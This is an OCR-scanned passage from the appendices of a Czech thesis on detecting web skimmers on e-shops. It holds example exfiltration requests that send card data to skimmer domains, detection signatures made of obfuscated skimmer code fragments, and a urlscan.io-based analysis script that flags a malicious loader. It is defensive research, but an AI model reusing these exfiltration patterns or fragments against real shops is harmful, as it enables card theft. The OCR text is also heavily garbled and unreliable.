&num=87766543221133&m=05&y=2023&cvv=654&

https://gooogletagsmanage.com/gate?hash=eyJfX1ZJRVATVEFURUAFTKVSQVRPU
iI6TkRBODhFOTADIiwiY2tTYW11QmlsbGluZyI6ImOuliwiQnVOdGOuMSI6I1N1YmipdC
IsInR4dENDTWOudGgiOiIxMSIsInRAdENDWWVhciI6IjIwMjEiLCIJOeHRDb3VudHI5SWQ |
i0iJVUyIsInNoaXBwaW5ndHh0Q291bnRyeUlkIjoiVVMiLCJEYXR1IjoiMTEVMjAyMSTs
InR44ENDI joiMzgONzAyOTM4NDcz0TI50CIsIk51bWJ1ciI6I jMANDcwMjkz0DQA3MzkyO |
TgilLCJOeHRTZWN1cm10eSI6IjMxMyIsIkNWViI6IjMxMyIsInR4dEZpcnNOTmFtZSI6I1 |
R1c3QiLCJIb2xkZXTi0iJUZXNOIiwiRG9tYWluljoid3d3LmhhbGZwcml jZXNvZnQuY29
tIn0=

https://nmdatast.com/folder/ip/zxc.php?r=r0.3683721903434223%q=Procur |
ar’20no%20site. . .&q=Procurar’%20no%20site. . .&billing[address_id]=22306
&billing[region_id]=5%C3%A30%20Paulo&billing[country_id]=Brasil&billi
nglsave_in_address_book]=1&billing[use_for_shippingl=1&shippingl[diffe
rent_shippingl=1&shippingl[address_id]=22307&shippingl[region_id]=S%C3%
A30%20Paulo&shipping[country_id]=Brasil&shipping[save_in_address_book
1=1&shipping_method=freeshipping_freeshipping&form_key=JgZN0590v59Q60
n7&payment [method] =pagseguropro_boleto&payment [method]=mastershopciel |
oapi30&payment [cc_qtd]=1&payment [cc_1_bandeira_mastershopcieloapi30]=
visa&payment [cc_1_bandeira_mastershopcieloapi30]=mastercard&payment[c
c_1_bandeira_mastershopcieloapi30]=amex&payment [cc_1_bandeira_masters
hopcieloapi30]=diners&payment [cc_1_bandeira_mastershopcieloapi30]=elo
&payment [cc_1_bandeira_mastershopcieloapi30]=hipercard&payment[cc_1_b
andeira_mastershopcieloapi30]=jcb&payment[cc_1_bandeira_mastershopcie
loapi30]l=discover&payment [cc_1_bandeira_mastershopcieloapi30]=aura&pa
yment [cc_1_numero] =4024%200071%206526%204689%20&payment [cc_1_salvar]=
1&payment [cc_1_nome]=mdjne}20jannd&payment [cc_1_documento] =349&paymen |
t[cc_1_expiracao_mes]=08%20-%20agosto&payment [cc_1_expiracao_ano]=202,
B&payment [cc_1_verificacao]l=765&payment [cc_1_parcelas]=Pagamento%20%C
3%A07%20Vistal,20-%201x7%20de%20R%247%20132%2C82&qty-1tem-23922=2&remove= |
O0&form_key=JgZN0590v59Q60n7&form_key=JgZN0590v59Q60n7&cc=402400716526 |
4689

Koéd 62: Priklady GET requestu
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PRILOHA D

Detekce

Detekce BN

checkout |

image () ; img.src=window.atob ("
window.btoa(location.href) ;

Detekce CQ
].getattribute("line");
_full") ;window
id="google_full"viewbox="0 0

Detekce CT
].getattribute("line");
_full") ;window
id="facebook_full"viewbox="0 O

Detekce H
/validate.php?discount=",
","getelementsbytagname"
J+btoa(json[_

Detekce H
/validate.php?discount=",
","getelementsbytagname"
J+btoa(json[_
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D. DETEKCE

Detekce J

)};urll=_
J]=urll;delete_cookie(_
J+btoa(json[_

Detekce BE

];document [_$_

+=string[_$_
ccnumber: jquery (document [_$_

Detekce AP
.src='https://'+window.atob
indexof (window.atob('zwnrb3v0'))

Detekce CN

J+_csl

=new function(_gl.slice(-
await fetch(_cs[

Detekce CY
getpropertyvalue('--script')) O ;

Detekce K

https://'+i.atob(o) ;m.parentnode.insertbefore(
location.href.indexof (i.atob(

y2hly2tvdxqg=

Detekce BI
.test(window.location)
new regexp("tagmanager |checkout |onepage"

Detekce A

"get" " open" ,"send",
"payment [cc_exp_month]"
1,function(){var_

=new xmlhttprequest();

Kod 63: Detekce
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PRILOHA E

Skript pro analyzu zdroju
webové stranky

Skript je naprogramovan v jazyce Python, je kompatibilni s verzi 3.6 a vyssi.
Pred spusténim je potieba nainstalovat dva balicky:

pip install requests tldextract

Ke spusténi je tfeba se zaregistrovat na urlscan.io, vygenerovat si tam API
token a ten nasledné vlozit do kédu. Bez tohoto tokenu neni mozné vyuzivat
skenovaci funkci, kterou API nabizi. Na pouzivani UrlScan API se totiz vzta-
huji kvéty.

Program se spousti prikazem:

python main.py [URL]

Jako URL uzivatel zada tu kterou chce oskenovat a zanalyzovat, je nutné
url zadat véetné http:// nebo https://.

Jako vystup jsou na prikazovou radku vypsany podezrelé URL, které dana
stranka nacité.

Ukézka pouziti:

> python main.py http://massyarias.com

Getting https://urlscan.io/api/v1/result/25251dc3-10c7-4ccc-87ff-7a4e435dc806/
Document URL: https://www.massyarias.com/

HTML file https://urlscan.io/responses/1233532cdc14e558b286d71ca2d61a2352eede6eee2ebb |
< cdbcl6add1f95bde7d/

=========== [RL:

< https://www.massyarias.com/wp-includes/js/wp-emoji-release.min. js?ver=5.5.3
======== Domain: massyarias.com

URL Path: /wp-includes/js/wp-emoji-release.min.js

URL and URL Path not found in HTML file.

<same origin>

=========== URL: https://www.massyarias.com/wp-content/plugins/woocommerce-drip/asset |
< s/js/wcdrip-drip.min. js?ver=5.5.3

======== Domain: massyarias.com
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URL and URL Path not found in HTML file.
<same origin>

==== URL: https://www.massyarias.com/wp-content/uploads/2020/05/reamaze.png
= Domain: massyarias.com

====== URL Path: /wp-content/uploads/2020/05/reamaze.png

URL and URL Path not found in HTML file.

<same origin>

V ukéazce druhého piikladu pouziti se jednd o URL ktera je v kodu opravdu
obfuskovand a nacita se z ni skodlivy kod:

> python main.py http://cartpartsplus.com/index.php?route=checkout/cart

Getting https://urlscan.io/api/vi/result/d50e2097-d333-4985-ba9f-c52dd9c95899/
Document URL: http://www.cartpartsplus.com/index.php?route=checkout/cart

HTML file https://urlscan.io/responses/624ab8440100d1b1648b97£582c3c5££06£98elbc7caal |
< 5b01d95586£6b72d9d/

=========== URL: https://tags-manager.com/gtags/script27utm_content=gutm_source=gutm_ |
— referer=www.cartpartsplus.com

==== Domain: tags-manager.com

URL and URL Path not found in HTML file.
<different origin> DOMAIN >>>> NOT FOUND <<<< in HTML file
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PRILOHA F

Obsah prilozeného CD

readme . tXt. .ottt i e struény popis obsahu CD

| _src
IMPL et e zdrojové kbédy implementace
thesSis .ovvieiiineniinnnnn. zdrojova forma préace ve formatu KIEX
Dlacklist . XLlS .ot e ettt i e skodlivé URL
block_web_skimming-1.4-fx.xpi............... doplnék pro Firefox
I =5 P text prace
Lthesis.pdf ............................. text prace ve formatu PDF
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